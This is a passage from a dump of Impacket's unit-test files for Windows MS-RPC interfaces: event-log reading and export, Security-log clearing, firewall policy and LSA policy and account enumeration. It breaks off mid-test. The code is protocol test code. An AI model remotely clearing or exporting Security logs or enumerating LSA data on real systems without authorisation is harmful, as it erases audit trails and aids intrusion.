    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)ElfrOpenBELW\n#   (h)ElfrOpenELW\n#   (h)ElfrRegisterEventSourceW\n#   (h)ElfrReadELW\n#   (h)ElfrClearELFW\n#   (h)ElfrBackupELFW\n#   ElfrReportEventW\n#   hElfrNumberOfRecords\n#   hElfrOldestRecordNumber\n# Not yet:\n#   ElfrCloseEL\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\n\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import even\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\nclass RRPTests(DCERPCTests):\n\n    iface_uuid = even.MSRPC_UUID_EVEN\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\eventlog]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_ElfrOpenBELW(self):\n        dce, rpctransport = self.connect()\n        request = even.ElfrOpenBELW()\n        request['UNCServerName'] = NULL\n        request['BackupFileName'] = '\\\\??\\\\BETO'\n        request['MajorVersion'] = 1\n        request['MinorVersion'] = 1\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_NOT_FOUND\"):\n            dce.request(request)\n\n    def test_hElfrOpenBELW(self):\n        dce, rpctransport = self.connect()\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_NOT_FOUND\"):\n            even.hElfrOpenBELW(dce, '\\\\??\\\\BETO')\n\n    def test_ElfrOpenELW(self):\n        dce, rpctransport = self.connect()\n        request = even.ElfrOpenELW()\n        request['UNCServerName'] = NULL\n        request['ModuleName'] = 'Security'\n        request['RegModuleName'] = ''\n        request['MajorVersion'] = 1\n        request['MinorVersion'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hElfrOpenELW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n\n    def test_ElfrRegisterEventSourceW(self):\n        dce, rpctransport = self.connect()\n        request = even.ElfrRegisterEventSourceW()\n        request['UNCServerName'] = NULL\n        request['ModuleName'] = 'Security'\n        request['RegModuleName'] = ''\n        request['MajorVersion'] = 1\n        request['MinorVersion'] = 1\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_ACCESS_DENIED\"):\n            dce.request(request)\n\n    def test_hElfrRegisterEventSourceW(self):\n        dce, rpctransport = self.connect()\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_ACCESS_DENIED\"):\n            even.hElfrRegisterEventSourceW(dce, 'Security', '')\n\n    def test_ElfrReadELW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        request = even.ElfrReadELW()\n        request['LogHandle'] = resp['LogHandle']\n        request['ReadFlags'] = even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ\n        request['RecordOffset'] = 0\n        request['NumberOfBytesToRead'] = even.MAX_BATCH_BUFF\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hElfrReadELW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        resp = even.hElfrReadELW(dce, resp['LogHandle'],\n                                 even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ,\n                                 0, even.MAX_BATCH_BUFF)\n        resp.dump()\n\n    def test_ElfrClearELFW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        request = even.ElfrClearELFW()\n        request['LogHandle'] = resp['LogHandle']\n        request['BackupFileName'] = '\\\\??\\\\c:\\\\beto2'\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_INVALID\"):\n            dce.request(request)\n\n    def test_hElfrClearELFW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_INVALID\"):\n            even.hElfrClearELFW(dce, resp['LogHandle'], '\\\\??\\\\c:\\\\beto2')\n\n    def test_ElfrBackupELFW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        request = even.ElfrBackupELFW()\n        request['LogHandle'] = resp['LogHandle']\n        request['BackupFileName'] = '\\\\??\\\\c:\\\\beto2'\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_INVALID\"):\n            dce.request(request)\n\n    def test_hElfrBackupELFW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_OBJECT_NAME_INVALID\"):\n            even.hElfrBackupELFW(dce, resp['LogHandle'], '\\\\??\\\\c:\\\\beto2')\n\n    def test_ElfrReportEventW(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        request = even.ElfrReportEventW()\n        request['LogHandle'] = resp['LogHandle']\n        request['Time'] = 5000000\n        request['EventType'] = even.EVENTLOG_ERROR_TYPE\n        request['EventCategory'] = 0\n        request['EventID'] = 7037\n        request['ComputerName'] = 'MYCOMPUTER!'\n        request['NumStrings'] = 1\n        request['DataSize'] = 0\n        request['UserSID'].fromCanonical('S-1-2-5-21')\n        nn = even.PRPC_UNICODE_STRING()\n        nn['Data'] = 'HOLA BETUSSS'\n        request['Strings'].append(nn)\n        request['Data'] = NULL\n        request['Flags'] = 0\n        request['RecordNumber'] = NULL\n        request['TimeWritten'] = NULL\n\n        with assertRaisesRegex(self, DCERPCException, \"STATUS_ACCESS_DENIED\"):\n            dce.request(request)\n\n    def test_hElfrNumberOfRecords(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        resp = even.hElfrNumberOfRecords(dce, resp['LogHandle'])\n        resp.dump()\n\n    def test_hElfrOldestRecordNumber(self):\n        dce, rpctransport = self.connect()\n        resp = even.hElfrOpenELW(dce, 'Security', '')\n        resp.dump()\n        resp = even.hElfrOldestRecordNumber(dce, resp['LogHandle'])\n        resp.dump()\n\n\n@pytest.mark.remote\nclass RRPTestsSMBTransport(RRPTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass RRPTestsSMBTransport64(RRPTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_even6.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)EvtRpcRegisterRemoteSubscription\n#   (h)EvtRpcRemoteSubscriptionNext\n#   (h)EvtRpcRegisterLogQuery\n#   (h)EvtRpcQueryNext\n# Not yet\n#   EvtRpcQuerySeek\n#   EvtRpcClose\n#   EvtRpcOpenLogHandle\n#   EvtRpcGetChannelList\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom six.moves import xrange\n\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import even6\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\nclass EVEN6Tests(DCERPCTests):\n    iface_uuid = even6.MSRPC_UUID_EVEN6\n    protocol = \"ncacn_ip_tcp\"\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\eventlog]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_EvtRpcRegisterRemoteSubscription_EvtRpcRemoteSubscriptionNext(self):\n        dce, rpctransport = self.connect()\n\n        request = even6.EvtRpcRegisterRemoteSubscription()\n        request['channelPath'] = 'Security\\x00'\n        request['query'] = '*\\x00'\n        request['bookmarkXml'] = even6.NULL\n        request['Flags'] = even6.EvtSubscribeStartAtOldestRecord | even6.EvtSubscribePull\n        request.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n        subscription_handle = resp['Handle']\n\n        request = even6.EvtRpcRemoteSubscriptionNext()\n        request['Handle'] = subscription_handle\n        request['NumRequestedRecords'] = 5\n        request['TimeOut'] = 1000\n        request['Flags'] = 0\n        request.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        for i in xrange(resp['NumActualRecords']):\n            event_offset = resp['EventDataIndices'][i]['Data']\n            event_size = resp['EventDataSizes'][i]['Data']\n            event = resp['ResultBuffer'][event_offset:event_offset + event_size]\n\n        resp = even6.hEvtRpcClose(dce, subscription_handle)\n        resp.dump()\n\n    def test_hEvtRpcRegisterRemoteSubscription_hEvtRpcRemoteSubscriptionNext(self):\n        dce, rpctransport = self.connect()\n\n        resp = even6.hEvtRpcRegisterRemoteSubscription(\n            dce, 'Security\\x00', '*\\x00', even6.NULL,\n            even6.EvtSubscribeStartAtOldestRecord | even6.EvtSubscribePull\n        )\n        resp.dump()\n        subscription_handle = resp['Handle']\n\n        resp = even6.hEvtRpcRemoteSubscriptionNext(dce, subscription_handle, 5)\n        resp.dump()\n\n        for i in xrange(resp['NumActualRecords']):\n            event_offset = resp['EventDataIndices'][i]['Data']\n            event_size = resp['EventDataSizes'][i]['Data']\n            event = resp['ResultBuffer'][event_offset:event_offset + event_size]\n\n        resp = even6.hEvtRpcClose(dce, subscription_handle)\n        resp.dump()\n\n    def test_hEvtRpcClearLog(self):\n        dce, rpctransport = self.connect()\n\n        resp = even6.hEvtRpcRegisterControllableOperation(dce)\n        resp.dump()\n\n        control_handle = resp['Handle']\n\n        resp = even6.hEvtRpcClearLog(dce, control_handle, 'Security\\x00')\n        resp.dump()\n\n        resp = even6.hEvtRpcClose(dce, control_handle)\n        resp.dump()\n\n    def test_hEvtRpcExportLog(self):\n        dce, rpctransport = self.connect()\n\n        resp = even6.hEvtRpcRegisterControllableOperation(dce)\n        resp.dump()\n\n        control_handle = resp['Handle']\n\n        resp = even6.hEvtRpcExportLog(dce, control_handle, 'Security\\x00', '*\\x00', 'C:\\\\Security_Log_Exported.evtx\\x00')\n        resp.dump()\n\n        resp = even6.hEvtRpcClose(dce, control_handle)\n        resp.dump()\n\n    def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self):\n        dce, rpctransport = self.connect()\n\n        request = even6.EvtRpcRegisterLogQuery()\n        request['Path'] = 'Security\\x00'\n        request['Query'] = '*\\x00'\n        request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest\n        request.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n        log_handle = resp['Handle']\n\n        request = even6.EvtRpcQueryNext()\n        request['LogQuery'] = log_handle\n        request['NumRequestedRecords'] = 5\n        request['TimeOutEnd'] = 1000\n        request['Flags'] = 0\n        request.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        for i in xrange(resp['NumActualRecords']):\n            event_offset = resp['EventDataIndices'][i]['Data']\n            event_size = resp['EventDataSizes'][i]['Data']\n            event = resp['ResultBuffer'][event_offset:event_offset + event_size]\n\n    def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self):\n        dce, rpctransport = self.connect()\n\n        resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\\x00',\n                                             even6.EvtQueryChannelName | even6.EvtReadNewestToOldest,\n                                             '*\\x00')\n        resp.dump()\n        log_handle = resp['Handle']\n\n        resp = even6.hEvtRpcQueryNext(dce, log_handle, 5, 1000)\n        resp.dump()\n\n        for i in xrange(resp['NumActualRecords']):\n            event_offset = resp['EventDataIndices'][i]['Data']\n            event_size = resp['EventDataSizes'][i]['Data']\n            event = resp['ResultBuffer'][event_offset:event_offset + event_size]\n\n\n@pytest.mark.remote\nclass EVEN6TestsTCPTransport(EVEN6Tests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass EVEN6TestsTCPTransport64(EVEN6Tests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_fasp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   FWOpenPolicyStore\n#\n# Not yet:\n#\nimport unittest\nimport pytest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\n# XXX: This is just to pass tests until we figure out what happened with the\n#      fasp module\nfasp = None\n\n\n@pytest.mark.skip(reason=\"fasp module unavailable\")\nclass FASPTests(DCERPCTests):\n    #iface_uuid = fasp.MSRPC_UUID_FASP\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_FWOpenPolicyStore(self):\n        dce, rpc_transport = self.connect()\n        request = fasp.FWOpenPolicyStore()\n        request['BinaryVersion'] = 0x0200\n        request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL\n        request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ\n        request['dwFlags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hFWOpenPolicyStore(self):\n        dce, rpc_transport = self.connect()\n        resp = fasp.hFWOpenPolicyStore(dce)\n        resp.dump()\n\n    def test_FWClosePolicyStore(self):\n        dce, rpc_transport = self.connect()\n        resp = fasp.hFWOpenPolicyStore(dce)\n        request = fasp.FWClosePolicyStore()\n        request['phPolicyStore'] = resp['phPolicyStore']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hFWClosePolicyStore(self):\n        dce, rpc_transport = self.connect()\n        resp = fasp.hFWOpenPolicyStore(dce)\n        resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore'])\n        resp.dump()\n\n\n@pytest.mark.remote\nclass FASPTestsTCPTransport(FASPTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass FASPTestsTCPTransport64(FASPTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_lsad.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   hLsarOpenPolicy2\n#   (h)LsarOpenPolicy\n#   (h)LsarQueryInformationPolicy2\n#   (h)LsarQueryInformationPolicy\n#   (h)LsarQueryDomainInformationPolicy\n#   (h)LsarEnumerateAccounts\n#   (h)LsarEnumerateAccountsWithUserRight\n#   (h)LsarEnumerateTrustedDomainsEx\n#   (h)LsarEnumerateTrustedDomains\n#   (h)LsarOpenAccount\n#   (h)LsarClose\n#   (h)LsarCreateAccount\n#   (h)LsarCreateAccount\n#   (h)LsarDeleteObject\n#   (h)LsarEnumeratePrivilegesAccount\n#   (h)LsarGetSystemAccessAccount\n#   (h)LsarSetSystemAccessAccount\n#   (h)LsarAddPrivilegesToAccount\n#   (h)LsarRemovePrivilegesFromAccount\n#   (h)LsarEnumerateAccountRights\n#   (h)LsarAddAccountRights\n#   (h)LsarRemoveAccountRights\n#   (h)LsarCreateSecret\n#   (h)LsarOpenSecret\n#   (h)LsarSetSecret\n#   (h)LsarQuerySecret\n#   (h)LsarRetrievePrivateData\n#   (h)LsarStorePrivateData\n#   (h)LsarEnumeratePrivileges\n#   (h)LsarLookupPrivilegeValue\n#   (h)LsarLookupPrivilegeName\n#   (h)LsarLookupPrivilegeDisplayName\n#   (h)LsarQuerySecurityObject\n#   (h)LsarSetSecurityObject\n#   (h)LsarQueryForestTrustInformation\n#   (h)LsarSetInformationPolicy\n#   (h)LsarSetInformationPolicy2\n# Not yet\n#   LsarCreateTrustedDomain\n#   LsarOpenTrustedDomain\n#   LsarQueryInfoTrustedDomain\n#   LsarSetInformationTrustedDomain\n#   LsarQueryTrustedDomainInfo\n#   LsarSetTrustedDomainInfo\n#   LsarDeleteTrustedDomain\n#   LsarQueryTrustedDomainInfoByName\n#   LsarSetTrustedDomainInfoByName\n#   LsarCreateTrustedDomainEx\n#   LsarSetDomainInformationPolicy\n#   LsarOpenTrustedDomainByName\n#   LsarCreateTrustedDomainEx2\n#   LsarSetForestTrustInformation\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\n\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import lsad\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED, RPC_UNICODE_STRING, DELETE\nfrom impacket.structure import hexdump\n\n\nclass LSADTests(DCERPCTests):\n    iface_uuid = lsad.MSRPC_UUID_LSAD\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\lsarpc]\"\n    authn = True\n\n    def open_policy(self, dce):\n        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION)\n        return resp['PolicyHandle']\n\n    def test_LsarOpenPolicy(self):\n        dce, rpctransport = self.connect()\n        request = lsad.LsarOpenPolicy()\n        request['SystemName'] = NULL\n        request['ObjectAttributes']['RootDirectory'] = NULL\n        request['ObjectAttributes']['ObjectName'] = NULL\n        request['ObjectAttributes']['SecurityDescriptor'] = NULL\n        request['ObjectAttributes']['SecurityQualityOfService'] = NULL\n        request['DesiredAccess'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarOpenPolicy(self):\n        dce, rpctransport = self.connect()\n        resp = lsad.hLsarOpenPolicy(dce)\n        resp.dump()\n\n    def test_LsarQueryInformationPolicy2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy2()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarQueryInformationPolicy2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)\n        resp.dump()\n\n    def test_LsarQueryInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryInformationPolicy()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarQueryInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)\n        resp.dump()\n\n        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)\n        resp.dump()\n\n    def test_LsarQueryDomainInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarQueryDomainInformationPolicy()\n        request['PolicyHandle'] = policyHandle\n        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_INVALID_PARAMETER') < 0:\n                raise\n\n        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:\n                raise\n\n        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:\n                raise\n\n    def test_hLsarQueryDomainInformationPolicy(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        try:\n            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_INVALID_PARAMETER') < 0:\n                raise\n\n        try:\n            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:\n                raise\n\n        try:\n            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:\n                raise\n\n    def test_LsarEnumerateAccounts(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarEnumerateAccounts()\n        request['PolicyHandle'] = policyHandle\n        request['PreferedMaximumLength'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n        #for i in range(resp['EnumerationBuffer']['EntriesRead']):\n        #    print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()\n\n    def test_hLsarEnumerateAccounts(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)\n        resp.dump()\n        #for i in range(resp['EnumerationBuffer']['EntriesRead']):\n        #    print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()\n\n    def test_LsarEnumerateAccountsWithUserRight(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarEnumerateAccountsWithUserRight()\n        request['PolicyHandle'] = policyHandle\n        request['UserRight'] = 'SeSystemtimePrivilege'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarEnumerateAccountsWithUserRight(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        resp = lsad.hLsarEnumerateAccountsWithUserRight(dce,policyHandle, 'SeSystemtimePrivilege')\n        resp.dump()\n\n    def test_LsarEnumerateTrustedDomainsEx(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n        request = lsad.LsarEnumerateTrustedDomainsEx()\n        request['PolicyHandle'] = policyHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 0xffffffff\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:\n                raise\n\n    def test_hLsarEnumerateTrustedDomainsEx(self):\n        